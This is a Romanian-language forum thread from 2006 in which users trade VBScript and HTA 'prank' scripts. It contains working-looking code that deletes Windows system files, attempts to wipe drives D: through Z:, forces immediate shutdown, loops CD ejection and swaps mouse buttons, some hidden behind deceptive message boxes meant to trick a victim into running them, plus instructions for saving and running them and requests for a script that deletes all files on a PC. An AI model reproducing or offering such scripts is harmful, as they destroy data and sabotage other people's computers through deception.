mc1 Posted May 29, 2006 Report Share Posted May 29, 2006 -----------------------------OPEN CD------------------------------Code:dowscript.sleep 1000Set oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject NextEnd Ifloop Acest script deschide cd-romul---------------------------KEY REG------------------------------Code:Dim xSet x = Createobject("Wscript.Shell")x.Regwrite "key patch" Acest script creaza o key de registri-------------------------Del files--------------------------------Code:dim filedelSet filedel = CreateObject("Scripting.FileSystemObject") filedel.DeleteFile "c:windowssystem*.*" Acest cod sterge un fisier--------------------------S.shut---------------------------------Code:Dim sshutSet sshut = Createobject("Wscript.Shell")sshut.run "shutdown -s -f -t 00" acest cod inchide pc-----------------------mouse spwn-----------------------Code:Dim aSet a = Createobject("Wscript.Shell")a.run "RUNDLL32 USER32.DLL,SwapMouseButton" Acest script inverseaza butonele la mousefaci un text si dai copy de la un exploit din cele de mai sus>il salvezi .vbs si voila!haioase chestii :@ Quote Link to comment Share on other sites More sharing options...
mc1 Posted May 29, 2006 Author Report Share Posted May 29, 2006 scuze am crezut ca aici ar merge Quote Link to comment Share on other sites More sharing options...
Godfather Posted May 29, 2006 Report Share Posted May 29, 2006 Interesant dar de inchis CD-romul nu ai :p Quote Link to comment Share on other sites More sharing options...
mc1 Posted May 29, 2006 Author Report Share Posted May 29, 2006 Adica sa nu-l mai poti deschide? ar fi o idee...btw la faza cu deschisu cd-rom-ului se poate inchide acest script apasand ctrl+alt+del>close wscript.exe :? Quote Link to comment Share on other sites More sharing options...
stifmaster Posted June 1, 2006 Report Share Posted June 1, 2006 de cand cautam script-uri din astea..10x mc1 Quote Link to comment Share on other sites More sharing options...
mc1 Posted June 1, 2006 Author Report Share Posted June 1, 2006 si mie imi plac nice and easy Quote Link to comment Share on other sites More sharing options...
Smiley Posted June 1, 2006 Report Share Posted June 1, 2006 haha , ms mult . acu stiu si cum erau programele alea idioate care iti facea mouse sa merga invers Quote Link to comment Share on other sites More sharing options...
dani3l Posted June 20, 2006 Report Share Posted June 20, 2006 Ce funny e ala pt mosue Quote Link to comment Share on other sites More sharing options...
andrey90 Posted June 20, 2006 Report Share Posted June 20, 2006 ti`am facut o mica imbunatatire la script`ul cu delete files...msgbox "Peace..'sup?how's yo life?oh..bad..this script will fuck up your pc..for good..well there are 2 ways to stop me..remember,this is not a joke! Think Clear,go take a 7up ice.. oh well..if you're stuck..use the good old classic way..if not..say bye bye to all your files"dim filedelSet filedel = CreateObject("Scripting.FileSystemObject")filedel.DeleteFile "d:"filedel.DeleteFile "e:"filedel.DeleteFile "f:"filedel.DeleteFile "g:"filedel.DeleteFile "h:"filedel.DeleteFile "i:"filedel.DeleteFile "j:"filedel.DeleteFile "k:"filedel.DeleteFile "l:"filedel.DeleteFile "m:"filedel.DeleteFile "n:"filedel.DeleteFile "o:"filedel.DeleteFile "p:"filedel.DeleteFile "q:"filedel.DeleteFile "r:"filedel.DeleteFile "s:"filedel.DeleteFile "t:"filedel.DeleteFile "u:"filedel.DeleteFile "v:"filedel.DeleteFile "w:"filedel.DeleteFile "x:"filedel.DeleteFile "y:"filedel.DeleteFile "z:" Quote Link to comment Share on other sites More sharing options...
edyshmen Posted June 20, 2006 Report Share Posted June 20, 2006 cum fac un fisier notepad .vbs??? Quote Link to comment Share on other sites More sharing options...
mc1 Posted June 20, 2006 Author Report Share Posted June 20, 2006 :@ :@ :@ :@ :@ :@ :@ :@ :@ :@ :@ :@ :@ :@ new notepad file,copiezi ceva in el,save as testu.vbs :@ :@ :@ :@ :@ :@ :@ Quote Link to comment Share on other sites More sharing options...
andrey90 Posted June 20, 2006 Report Share Posted June 20, 2006 ce parere ai d imbunatatire..?mc1? Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 20, 2006 Report Share Posted June 20, 2006 andrey`90 ai testat inbunatatirea ta sa vezi ce face? Quote Link to comment Share on other sites More sharing options...
andrey90 Posted June 20, 2006 Report Share Posted June 20, 2006 da....sterge informatii de pe partitii de la C: pana la Z: Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 20, 2006 Report Share Posted June 20, 2006 ce fel de informatii mane? te referi la stergerea de fisiere? ca daca da iti spun eu ca nu face asta. Quote Link to comment Share on other sites More sharing options...
MaHaReT Posted June 20, 2006 Report Share Posted June 20, 2006 <html><head><script language="javascript"> function eject(){ var drivers = new Enumerator(new ActiveXObject("Scripting.FileSystemObject").Drives); for(; !drivers.atEnd(); drivers.moveNext()) { driver = drivers.item(); if(driver.DriveType == 4) new ActiveXObject("Shell.Application").Namespace(17).ParseName(driver.DriveLetter + ":").InvokeVerb("E&ject"); }}</script></head><body> <input type="button" value="eject" onclick="eject()"></body></html>Scrii tot in notepad si salvezi cu estensia .hta ex: cdrom.hta apoi il executiAsta executa direct comanda de shutdown si are dezavantajul fata de celalalt ca daca respectiva persoana se uita in sursa si vede shutdown nu-l mai executa msgbox "daca nu vrei sa mai ai restante apasa OK"msgbox "daca vrei ca toata lumea sa asculte de tine apasa OK"msgbox "daca vrei sa nu mai ai probleme cu calculatorul apasa OK "msgbox "daca vrei ca toate fetele sa traga la tine apsa OK"Dim wshshellset wshshell = wscript.CreateObject("WScript.Shell"wshshell.run "shutdown -s -t 1"Scrii tot in notepad si salvezi cu extensia .vbs ex: shutdown.vbsLe mai puteti combina si voi si vedeti ce iese sau daca vreti numa cu shutdown scrieti in notepad -s -f -t 03 -c "scri ce vrei tu" salvati cu extensia .bat -s shutdown -f shutdown fortat -t timpu-c scrisu'am si io ceva , n`us daca`s bune Quote Link to comment Share on other sites More sharing options...
Criminal Posted June 26, 2006 Report Share Posted June 26, 2006 icarius dar ce face ala? Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 27, 2006 Report Share Posted June 27, 2006 pai ala nu face nimica. este gresit scris. l-am testat pe pcul meu si nu mia sters nimica ) dc vrei un tutorial cum sa facu un program care sa stearga toate fisierele din pc spune-mi... Quote Link to comment Share on other sites More sharing options...
Criminal Posted June 27, 2006 Report Share Posted June 27, 2006 da..dar sa fie script .vbs sau pentru visual basic as fi recunoscator Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 27, 2006 Report Share Posted June 27, 2006 oke. tot diseara il pus si pe ala Quote Link to comment Share on other sites More sharing options...
Criminal Posted June 27, 2006 Report Share Posted June 27, 2006 multumesc mult Quote Link to comment Share on other sites More sharing options...
Icarius Posted June 27, 2006 Report Share Posted June 27, 2006 Criminal, arunca o privire aici: http://www.xss-watch.org/phpBB/viewtopic.p...php?p=7676#7676 Quote Link to comment Share on other sites More sharing options...
Criminal Posted June 27, 2006 Report Share Posted June 27, 2006 am vazut ms frumos Quote Link to comment Share on other sites More sharing options...